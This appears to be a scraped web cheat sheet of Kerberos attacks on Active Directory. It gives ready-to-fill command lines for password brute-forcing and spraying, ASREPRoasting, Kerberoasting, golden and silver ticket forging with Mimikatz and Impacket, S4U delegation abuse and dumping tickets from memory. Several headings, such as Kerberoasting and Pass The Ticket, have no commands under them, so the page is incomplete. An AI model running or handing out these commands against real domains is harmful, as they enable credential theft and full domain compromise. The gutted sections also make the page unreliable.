Kerberos Attack Cheatsheet

Kerberos Attack Cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

With Rubeus:

Cracking with dictionary of passwords:

Kerberoasting

With Impacket example GetUserSPNs.py:

With Rubeus:

With Powershell:

Cracking with dictionary of passwords:

Overpass The Hash/Pass The Key (PTK)

By using Impacket examples:

With Rubeus and PsExec:

Pass The Ticket (PTT)

Harvest tickets from Linux

Check type and location of tickets:

If none return, default is FILE:/tmp/krb5cc_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being KEYRING tickets, you can use tickey to get them:

Harvest tickets from Windows

With Mimikatz:

With Rubeus in Powershell:

To convert tickets between Linux/Windows format with ticket_converter.py:

Using ticket in Linux

With Impacket examples:

Using ticket in Windows

Inject ticket with Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Silver ticket

With Impacket examples:

With Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Golden ticket

With Impacket examples:

With Mimikatz:

Inject ticket with Rubeus:

Execute a cmd in the remote machine with PsExec:

Misc

To get NTLM from password:

Command

Description

Invoke-Kerberoast

Get Kerberoastable accounts & hashes on Windows

GetUserSPNs.py inlanefreight.local/pixis

Get Kerberoastable accounts & hashes on Linux

Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Get AS-Rep roastable accounts & hashes on Windows

GetNPUsers.py inlanefreight.local/pixis

Get AS-Rep roastable accounts & hashes on Linux

Rubeus.exe monitor /interval:5

Monitor TGT copies in TGS every 5 secondes (Unconstrained Delegation)

Rubeus.exe asktgs /ticket:<b64 ticket> /service:<SPN> /ptt

Get a TGS using a TGT

Rubeus.exe renew /ticket:<b64 ticket> /ptt

Renew a TGT and pass it in memory

Get-DomainComputer -TrustedToAuth

Get service accounts with constrained delegation on Windows

Rubeus.exe s4u /impersonateuser:<User> /msdsspn<SPN> /altservice:<SRV> /user:<USR> /rc4:<NT Hash> /ptt

Perform a S4U2* attack on Windows

findDelegation.py inlanefreight.local/pixis

Get service accounts with delegation on Linux

getST.py -spn <SPN> -hashes :<NT Hash> 'domain/user' -impersonate <user>

Perform a S4U2* attack on Linux

mimikatz # kerberos::golden /domain:<domain> /user:<user> /sid:<Domain SID> /rc4:<krbtgt NT hash> /ptt

Forge a golden ticket on Windows

ticketer.py -nthash <krbtgt NT hash> -domain-sid :<Domain SID> -domain <domain> <user>

Forge a golden ticket on Linux

mimikatz # kerberos::golden /domain:inlanefreight.local /user:<user> /sid:<Domain SID> /rc4: <Service account NT hash> /target:<target service account> /service:<service> /ptt

Forge a silver ticket on Windows

ticketer.py -nthash <Service account NT hash> -domain-sid <Domain SID> -domain <domain> -spn <SPN> <User>

Forge a silver ticket on Linux

Rubeus.exe dump /luid:0x89275d /service:krbtgt

Dumps TGT in memory

kerbrute userenum users.txt --dc dc01.inlanefreight.local -d inlanefreight.local

Enumerate user accounts via Kerberos

kerbrute passwordspray users.txt inlanefreight2020 --dc dc01.inlanefreight.local -d inlanefreight.local

Password spraying via TGT request

Setting Flag For Unconstrained Delegation User

Tools

Risorse

Last updated